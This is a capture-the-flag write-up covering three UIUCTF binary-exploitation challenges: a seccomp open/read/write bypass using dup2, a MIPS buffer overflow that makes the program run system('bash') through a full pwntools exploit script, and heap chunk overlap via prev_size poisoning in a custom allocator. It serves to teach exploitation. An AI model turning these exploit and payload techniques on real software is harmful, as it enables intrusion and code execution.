I won't bother with the details of each function as they're pretty self explanatory standard for shellcode challenges. Below is the seccomp configuration:
└──╼ [★]$ seccomp-tools dump ./syscalls The flag is in a file named flag.txt located in the same directory as this binary. That's all the information I can give you.
bruvlineCODEJTJFK=================================0000:0x200x000x000x00000004A=arch0001:0x150x000x160xc000003eif (A !=ARCH_X86_64) goto 00240002:0x200x000x000x00000000A=sys_number0003:0x350x000x010x40000000if (A <0x40000000) goto 00050004:0x150x000x130xffffffffif (A !=0xffffffff) goto 00240005:0x150x120x000x00000000if (A ==read) goto 00240006:0x150x110x000x00000001if (A ==write) goto 00240007:0x150x100x000x00000002if (A ==open) goto 00240008:0x150x0f0x000x00000011if (A ==pread64) goto 00240009:0x150x0e0x000x00000013if (A ==readv) goto 00240010:0x150x0d0x000x00000028if (A ==sendfile) goto 00240011:0x150x0c0x000x00000039if (A ==fork) goto 00240012:0x150x0b0x000x0000003bif (A ==execve) goto 00240013:0x150x0a0x000x00000113if (A ==splice) goto 00240014:0x150x090x000x00000127if (A ==preadv) goto 00240015:0x150x080x000x00000128if (A ==pwritev) goto 00240016:0x150x070x000x00000142if (A ==execveat) goto 00240017:0x150x000x050x00000014if (A !=writev) goto 00230018:0x200x000x000x00000014A=fd>>32# writev(fd, vec, vlen)0019:0x250x030x000x00000000if (A >0x0) goto 00230020:0x150x000x030x00000000if (A !=0x0) goto 00240021:0x200x000x000x00000010A=fd# writev(fd, vec, vlen)0022:0x250x000x010x000003e8if (A <=0x3e8) goto 00240023:0x060x000x000x7fff0000returnALLOW0024:0x060x000x000x00000000returnKILL
as execve and execveat is blacklisted, we're unable to pop a shell, thus we had to do an ORW to leak the flag.
Exploitation
Open
this one is fairly trivial, since we other known common alternatives are not blacklisted.
with the *at flavour of linux syscalls, it means that it takes a absolute path of a file/directory. this can be easily figured out since we have the Dockerfile.
however in cases where we have no information about the current working directory it is still possible to open a file with relative paths.
according to the man pages:
If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the current working directory of the calling process (like open(2)).
and so we need to set RDI to the value of AT_FDCWD , which according to the source code is -100
Read
as most read syscalls are banned, I look up into the syscall list and found one that are allowed
reading at the man pages, readahead, readlink, and readlinkat behaviour is unfamiliar with me at the time. However, preadv2 is an extension to preadv and can behave the same. So I choose it to read buffer.
As I see on other solutions, it is also possible to read a buffer from an fd with mmap()
Write
I realized that there are other alternative that is not blacklisted, however I want to solve the challenge as how it seems it is intended, assuming only writev is whitelist and others are blacklisted.
and so even though writev is whitelisted, it need to pass some checks that are as follow:
the checks occurs before executing writev, in the first line it will take the fd that we have set up and shift it right 4 bytes. this means it will only check the 4 higher order bytes of it.
for example, if we gave it 0x1111111100000000 it will only take context of this part 0x11111111
and so this presents a problem because the default fd for STDOUT is 0x1 with nothing in its higher order bytes.
dup
dup will solves this problem by duplicating given fd to another number which will serves the same purpose just on another number. we can control what the new fd number is by using dup2 instead of dup. you can read more of it on its man page
in this exploit I duplicated STDOUT (0x01) to 0x100000000 to passes the check and then we can give writev our new fd to passes the check and because it is a duplicate of STDOUT it will also provide the same functionality.
below is the full shellcode I used to solve this challenge:
the program prompts an username and password to which it then asks a command. there's 4 type of command but only one is in our interest which is system. however the command is whitelisted to only shutup and shutdown.
another thing to note we also have access to develper_power_management_portal if the username is devolper (a typo?)
which in turn calls gets() that enables a buffer overflow.
before calling this function however it sets its command to "todo" before jump back to compare the commands. which if goes without exploit, should've printed "Only developers should see this"
Exploitation
Canary
however as you might realized, the binary is equipped with canary protection, which we will need to leak ... or do we?
as I'am unfamiliar with this architecture I realized one thing in the decompiled code:
if (unaff_retaddr != in_a0) { /* WARNING: Subroutine does not return */__stack_chk_fail(); }
the canary mechanism in this binary doesn't have an 8 bytes of random value before RBP, but it only checks if the return address of the current function stack is the same at the start of the function call.
this combined with the information fact that the binary has NO PIE, means that we could potentially still overwrite values of the stack out of boundaries while still preserving the return address as if it was the same.
again, because I'm unfamiliar with the assembly, I basically put a breakpoint on wherever ghidra points to when it makes the comparison as shown below
and here's in GDB
we can clearly see that S1 which where our input goes, is being compared to a fixed address of 0x400ec0 that falls of the main function region.
with this, we can use pwndbg's cyclic to count the offset to which where we need to preserve the return address.
if PC can't be controlled, overwrite what and where?
thankfully, system is being called within main(), the only problem we can't give it as a command because of the whitelist. However, with this BOF, we're able to set the command to system and bypassing the whitelist.
this is because as devolper commands are set automatically to "todo" and thus in turn also skips the whitelist checks. BOF also happens before the commands are being compared so, we can potentially overwrite it with system
iVar7 =strcmp(username,"devolper");if (iVar7 ==0) break; // immediately break the loop,// skipping the whitelist check belowfor (i =0; i <2; i = i +1) { iVar7 =strcmp(command,allowed_commands[i]);// .. }if (!bVar1) {puts("Invalid command");return0; }cmp_cmd: iVar7 =strcmp(command,shutdown);// ...else { iVar7 =strcmp(command,shutup);// ...else { iVar7 =strcmp(command,system_str);// TARGET iVar7 =strcmp(command,"todo");// ...puts("Only developers should see this"); } } } command ="todo\0";develper_power_management_portal(in_stack_fffffd68); // BOFgoto cmp_cmd; // compare command, at this point // command is overwritten with "system"
and just like before, let's do cyclic after preserving return address to see our offset before overwriting the command variable.
but before even we got to that point, we got a SIGBUS ERR instead
I honestly have no idea why is this happening, but from prior experience what I think happened is that we overwrite some important pointers and when an instruction tries to reference or dereference that value (which obviously we have overwritten with a non-valid address), we crashed the program.
preserving more values
my way around this is to compare the state of the stack before anything is overwritten and preserve some values that looks like an important pointers.
and so I put another breakpoint before the developer portal returns
here's when we hit the breakpoint in GDB
as I highlighted, in the red there's some pointers that we need to preserve while the others can be filled with rubbish.
pay attention to the value pointed by pink arrow, it will be problematic later
and so our payload now is as follow, between the preserved pointers I also fill it with unique values just so if we crash again, and we see that value in the register, we know where to fix it (foreshadowing)
io.sendlineafter(b'Username:', b'devolper') payload =cyclic(44) payload +=flat([0x400b0c, # preserve `rip` to bypass canary checkp32(0x1) *5, # random val for fuzz0x4aa330, # preserve some valuep32(0x2) *1, # random val for fuzz0x4721c8, # preserve some valuep32(0x3) *2, # random val for fuzz0x400b0c, # preserve some value ]) payload +=cyclic(300)sleep(0.2) io.sendline(payload)
however we still got SIGBUS
even though I'm not sure at the cause, my intuition says it's because GP needs to also be a pointer since deriving from the register's name, it's probably not a general purpose register. and since we know the value of GP is directly controlled by our input, to fix this I decided just to give it similar address right before it and it worked. so now our payload goes something like this:
io.sendlineafter(b'Username:', b'devolper') payload =cyclic(44) payload +=flat([0x400b0c, # preserve `rip` to bypass canary checkp32(0x1) *5, # random val for fuzz0x4aa330, # preserve some valuep32(0x4aa330), # preserve some value0x4721c8, # preserve some valuep32(0x3) *2, # random val for fuzz0x400b0c, # preserve some value ]) payload +=cyclic(300)sleep(0.2) io.sendline(payload)
to count the offset to overwrite command, I set another breakpoint here at this jalr instruction (which sound like a jump)
and here's in GDB
and now our payload
io.sendlineafter(b'Username:', b'devolper') payload =cyclic(44) payload +=flat([0x400b0c, # preserve `rip` to bypass canary checkp32(0x1) *5, # random val for fuzz0x4aa330, # preserve some valuep32(0x4aa330), # preserve some value0x4721c8, # preserve some valuep32(0x3) *2, # random val for fuzz0x400b0c, # preserve some value ]) payload +=cyclic(204) payload +=b'system\x00'sleep(0.2) io.sendline(payload)
and lets put a breakpoint before it calls system to ensure that it definitely reaches to that point of execution
and it definitely does, but we still don't know what system command it's executing. recall that before calling system, it sets up arguments for it
to figure out what input of our payload that affects the argument we need to inspect the registers, but in MIPS convention what register contains the first argument?
I simply looked at MIPS's syscall table and mapped the register that has the same position as RDI and in this case, its A0
we can see that the string given to system is comprised of 4 characters separated by spaces, just like the format that sprintf does right before it. this also reveals about a restriction being that the length of command or binary we wish to execute is limited to 4 characters long.
we can also further verifies this by let the program run and looking at the error message
notice how it tries to execute gaaa.
we gain the offset at 24, however as you may realize that we have 2 cyclics in our payload, you kinda just figure this out by trying at both ends and see where it affects the arguments. turns out it was the first cyclic(44) that affects this.
and now for the binary to execute, /bin/sh is too long, sh doesn't work and so I tried bash and it worked perfectly. refer to the full exploit script below for the full payload.
here's the PoC being ran againts the remote server:
Below is the full exploit script:
exploit.py
#!/usr/bin/env python3from pwn import*# =========================================================# SETUP # =========================================================exe ='./backup-power'elf = context.binary =ELF(exe, checksec=True)# libc = './libc.so.6'# libc = ELF(libc, checksec=False)context.log_level ='debug'context.terminal = ["tmux","splitw","-h"]host, port ='backup-power.chal.uiuc.tf',1337definitialize(argv=[]):if args.GDB:return gdb.debug([exe] + argv, gdbscript=gdbscript)elif args.REMOTE:returnremote(host, port, ssl=True)else:returnprocess([exe] + argv)gdbscript ='''init-pwndbg# break *0x400e8c# break *0x0400cb4break *0x400d34'''.format(**locals())# =========================================================# EXPLOITS# =========================================================# └──╼ [★]$ pwn checksec backup-power # Arch: mips-32-big# RELRO: Partial RELRO# Stack: Canary found# NX: NX unknown - GNU_STACK missing# PIE: No PIE (0x400000)# Stack: Executable# RWX: Has RWX segmentsdefexploit():global io io =initialize() io.sendlineafter(b'Username:', b'devolper') payload =cyclic(24) payload +=b'bash\x00'.ljust(44-len(payload), b'\x00') payload +=flat([0x400b0c, # preserve `rip` to bypass canary checkp32(0x1) *5, # random val for fuzz0x4aa330, # preserve some valuep32(0x4aa330), # preserve some value0x4721c8, # preserve some valuep32(0x3) *2, # random val for fuzz0x400b0c, # preserve some value ]) payload +=cyclic(204) payload +=b'system\x00'sleep(0.2) io.sendline(payload) io.interactive()if__name__=='__main__':exploit()
Flag: uiuctf{backup_p0wer_not_r3gisters}
pwnymalloc
Description
i'm tired of hearing all your complaints. pwnymalloc never complains.
ncat --ssl pwnymalloc.chal.uiuc.tf 1337
Analysis
We're given attachments as follows:
└──╼ [★]$ tree ..├──alloc.c├──alloc.h├──chal├──main.c└──Makefile└──╼ [★]$ file chalchal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=efcb16175cc225d8264895c8b01241c14e14cac3, for GNU/Linux 3.2.0, not stripped
└──╼ [★]$ pwn checksec chalArch:amd64-64-littleRELRO:FullRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled
thankfully the challenge author is kind enough to give us the source code for this challenge. the challenge is all about custom malloc implementation which seems incomplete, though the chunk structure is the same and at first glance it's behaviour seemed very similar to glibc malloc in other heap challenges, there are some notable differences that I will point out here:
pwnymalloc — custom malloc implementation
only 1 type of bins
pretty self explanatory
static chunk_ptr free_list =NULL;
always try to coalesce upon freeing
freeing a chunk it will always tries to coalesce it either to the previous or the chunk in front of it.
the way the allocator gets previous chunk is and next chunk is different, when getting a next chunk, it will simply return the calculate the current chunk's size, and return its address+size.
getting the previous chunk is also by returning a memory address at an chunk relative offset, however instead of calculating the offset by its size, the offset is determined by getting the prev_size metadata that also exists in malloc allocator we familiar of.
if the chunk returned by find_fit() is bigger then the total requested size, it will split the chunk into the requested size and return it while the remainder will stay as free chunk.
the challenge presents itself in the form of practically 3 option we can choose. before we discuss each of them, here's a struct and enum that will be used as the chunk structure and state.
we can create up to 10 request, with each will used the custom pwnymalloc and we're able to directly affect to the .amount and .reason attribute of the structure. .status however is always set to REFUND_DENIED.
this is the win function, which we can trigger to get the flag only if the status of the chunk is REFUND_APPROVED which is never set anywhere in the source code.
when fetching the prev_chunk it uses the prev_size metadata of a chunk which is located inside of the previous chunk's data, not within the chunk itself.
here, the allocator blindly fetches the prev_size metadata without validating first, if the the previous chunk is free or not.
if the previous chunk is not free, this means that the prev_size metadata should not be used as the chunk is still inuse and contain user input data.
the prev_size metadata should only be used only if the previous chunk is already free and the data region is no longer in use.
with this in mind, if the previous chunk is still inuse which is under our control, we can poison the prev_size so that when it tries to coalesce, it will trigger a merging causing an overlapping chunk.
to better understand this, lets go through the visualization on the next section
overlapping chunk
to do this, we will need to do it in 4 steps:
create 3 chunks: A, B, C
create a fake chunk within A, this fake chunk is what will be returned as our profit
poison the prev_size metadata of C within B
pwnyfree C
however, we do not have the option to create, update and free as freely. and such we need to do create the chunk and fill in the data in one go.
defidk(data): log.info('IDK-ing...') io.sendlineafter(b'>', b'1') io.sendafter(b'complaint:', data.ljust(0x48-1, b'\x00'))sleep(0.2)defpwnymalloc(amount,data):sleep(0.2) log.info('Pwnymallocing...') io.sendlineafter(b'>', b'3') io.sendlineafter(b'refunded:', str(amount).encode()) io.sendafter(b'request:', data.ljust(0x7f, b'\x00'))sleep(0.2) io.recvuntil(b'Your request ID is: ')returnint(io.recvline().strip())# creates A and fake chunk within it fake_chunk =b'\x00'*0x40+b'\xd0'pwnymalloc(0x1, fake_chunk)# creates B and poison `prev_size`fake_prev =b'\x00'*0x78+b'\xd0'pwnymalloc(0x2, fake_prev)# creates C and free C to coalesce with fake chunkidk(b'doesnt matter')
looking at from a normal and non-malicious perspective, this is what our heap state before C is free'd
however from the exploit's perspective this is where our main focus lies:
as we can see, we have poisoned the prev size with the offset/gap between the chunk we want to be merged, in this case,chunk C and the our crafted fake chunk.
note, our fake chunk size has to be bigger than the normal REFUND chunk in order to use the free_list when it later on we will do another allocation.
notice that we also set the status of our fake chunk to be FREE, this is to pass the coalesce status check:
static chunk_ptr coalesce(chunk_ptr block) { chunk_ptr prev_block =prev_chunk(block);// ...int prev_status = prev_block ==NULL?-1:get_status(prev_block);// ...if (prev_status == FREE) { // <-- set status to be `FREE` satisfy this checkfree_list_remove(prev_block); size +=get_size(prev_block);prev_block->size =pack_size(size, FREE);set_btag(prev_block, size);return prev_block; } // ..}
also, just to be verbose, at this point since we haven't freed any chunks yet, our free_list is empty
now let's continue the execution and observe our profit when the allocator frees chunk C
here's the heap state after chunk C is freed:
as we can observe, chunk C has successfully merged with our fake chunk and has been linked into the free_list. and as such chunk B also falls under our fake chunk's data region and we can modify it.
we next just need to request another chunk which will then recycles the linked free chunk (our fake chunk) and send a bunch of 0x1 (literal value for REFUND_APPROVED) to overwrite the enum attribute of chunk B.
pwnymalloc(0x4, p32(0x1) * (2*10))
you can also observe the split() behaviour into play here, where the free chunk is size 0x120 and as we request a size smaller than it, it splits the chunk and that's why fake chunk size now is 0x90
and now we can trigger handle_refund_status() to profit, win and get the flag. here's the exploit being ran againts the remote server: